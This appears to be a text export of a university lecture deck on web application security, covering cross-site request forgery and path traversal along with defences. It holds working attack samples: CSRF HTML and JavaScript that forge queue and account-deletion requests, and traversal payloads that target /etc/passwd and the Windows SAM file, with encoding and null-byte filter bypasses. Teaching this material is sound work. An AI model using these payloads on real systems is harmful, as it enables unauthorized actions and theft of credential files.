[PPT] - Cross-Site Request Forgeries (CSRF) & Path Traversal Professor PowerPoint Presentation

SLIDE 1

Cross-Site Request Forgeries (CSRF) & Path Traversal

Professor Larry Heimann Web Application Security Information Systems

SLIDE 2

A different and trickier threat - CSRF

Often referred to as ‘sleeping giant’ of vulnerabilities because
misunderstood by developers
fundamental to how the web works today
Bill Zeller summarizes CSRF well:

“CSRF vulnerabilities occur when a website allows an authenticated user to perform a sensitive action but does not verify that the user herself is invoking that action. The key to understanding CSRF attacks is to recognize that websites typically don't verify that a request came from an authorized user. Instead they verify only that the request came from the browser of an authorized user. Because browsers run code sent by multiple sites, there is a danger that one site will (unbeknownst to the user) send a request to a second site, and the second site will mistakenly think that the user authorized the request.”

source: http://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks

SLIDE 3

The story that “Diggs” itself

SLIDE 4

Netflix’s past vulnerabilities

Could add a movie easily to the user’s queue:
Could promote to top of user’s queue with some javascript:

<html> <head> <script language="JavaScript" type="text/javascript"> function load_image2() { var img2 = new Image(); img2.src="http://www.netflix.com/MoveToTop?movieid=70023965&fromq=true"; } </script> </head> <body> <img src="http://www.netflix.com/AddToQueue?movieid=70023965"; width="1" height="1" border="0"> <script> setTimeout( 'load_image2()', 2000 ); </script> </body> </html>

SLIDE 5

Using POST a solution?

Use GET if:

The interaction is more like a question (i.e., it is a safe operation such as a

query, read operation, or lookup). Use POST if:

The interaction is more like an order, or
The interaction changes the state of the resource in a way that the user

would perceive (e.g., a subscription to a service), or

The user is held accountable for the results of the interaction.

SLIDE 6

CSRF with POST

<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>

SLIDE 7

Protecting against CSRF

Use “secret data” only user would know
Use only POST requests in the application
Use the HTTP REFERER header to validate request source
Use single non-changing GET/POST token for entire session
Use a hashed “session- and action-specific” value
Use unique token for each request

SLIDE 8

Frameworks for CSRF protection

J2EE
CSRFGuard [http://www.owasp.org/index.php/CSRF_Guard]
PHP
csrf-magic [http://csrf.htmlpurifier.org/]
CSRFx [http://code.google.com/p/csrfx/]
.NET
CSRFGuard.NET [http://www.owasp.org/index.php/.Net_CSRF_Guard]
Viewstate* (+ ViewStateUserKey or SessionID)
Rails
Built-in CSRF protection
“Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF

protections.”

SLIDE 9

Path traversal

Many common functions require an application to read or write to a file

system on the basis of user-supplied parameters.

If these operations are carried out in an unsafe manner, an attacker can use

crafted input to access files in an unauthorized way.

Vulnerabilities are known as "path traversal", because the attacker traverses

from the intended path to a different one.

May result in complete compromise of the application.

SLIDE 10

Common path traversal problem

A typical page which returns the image whose filename is passed in a request

parameter:

https://myapp.com/scripts/GetImage.aspx?file=diagram1.jpg

To fulfill this request, the server appends the value of the file parameter to a

prefix such as C:\myapp\images\ and returns the resulting file.

An attacker can exploit the behavior using the "dot-dot-slash" traversal

sequence:

https://myapp.com/scripts/GetImage.aspx?file=..\..\windows\repair\sam

This causes the application to return the file:

C:\winnt\repair\sam

SLIDE 11

Finding path traversal flaws

The first step is to locate every instance where file system operations are

carried out with user-supplied data:

Any file upload/download functions
Any cases where a request parameters appears to contain a file or

directory name

Functions whose implementation is likely to involve file system interaction,

such as display of office documents or images

Apparently innocuous parameters like lang=en which may be used to

build a path to an include file

SLIDE 12

Finding path traversal flaws

If the function is performing read access, try to retrieve a known file:
If the function is performing write access, choose two files, one which ought

to be writable by any user, and one which should not be writable even by administrators, for example: You can also try to write a file within the web root and retrieve it using your browser.

If the function is performing read access, try

../../../../../../../../../../../../etc/passwd ../../../../../../../../../../../../boot.ini

even by administrators, for example:

../../../../../../../../../../../../writetest.txt ../../../../../../../../../../../../windows/system32/config/sam ../../../../../../../../../../../../tmp/writetest.txt ../../../../../../../../../../../../tmp

SLIDE 13

Circumventing obstacles

To deal with filters for the dot-dot-slash traversal sequence, try the following: URL Encoding 16 bit Unicode-encoding Double URL-encoding Overlong UTF-8 Unicode-encoding

URL-encoding:

dot$$$$$$$$$$$$$%2e forward$slash$$$%2f back$slash$$$$$$%5c

16 bit Unicode-encoding

dot$$$$$$$$$$$$$%u002e forward$slash$$$%u2215 back$slash$$$$$$%u2216

Double URL-encoding:

dot$$$$$$$$$$$$$%252e forward$slash$$$%252f back$slash$$$$$$%255c

Overlong UTF-8 Unicode-encoding:

dot$$$$$$$$$$$$$%c0%2e$$$$%e0%40%ae$$$$%c0ae$$$$etc. forward$slash$$$%c0%af$$$$%e0%80%af$$$$%c0%2f$$$etc. back$slash$$$$$$%c0%5c$$$$%c0%80%5c$$$$etc.

SLIDE 14

Circumventing obstacles

Some applications check whether the user-supplied filename ends in a

particular file extension. Here you can try null bytes and newlines to defeat the filter:

You can also try adding a large number of spaces (more than 260) after your
filename. The application will append its suffix, but the long filename may be

subsequently truncated to MAXPATH (260) bytes, thus losing the added

suffix. The superfluous whitespace after your filename will normally be

ignored by filesystem APIs.

defeat the filter:

../../../../../boot.ini%00.jpg ../../../../../etc/passwd%0a.jpg

SLIDE 15

Exploiting path traversal vulnerabilities

If possible, avoid passing user-supplied data to any file system API:
If no access control is needed, retrieve the relevant files directly from within the

web root.

Keep a list of accepted files and pass an index into that list as the request

param.

If it is necessary to pass user-supplied data as filenames, use several of the

following defensive measures:

After all relevant canonicalization, perform strict input validation. At a minimum,

check for both ../ and ..\ and reject the request if either is present.

Use a hard-coded list of acceptable file extensions, and reject requests for other

extensions.

Use a chrooted file system on Unix, or host the relevant files on a different

logical drive in Windows.

SLIDE 16

Summary

Path traversal is often a devastating vulnerability, enabling you to break

through many layers of security controls and access sensitive data.

Can lead to arbitrary code execution if write access is achieved.
Often subtle to detect, and defenses may block the most obvious attacks.
Need to be patient and work methodically on every potential entry point.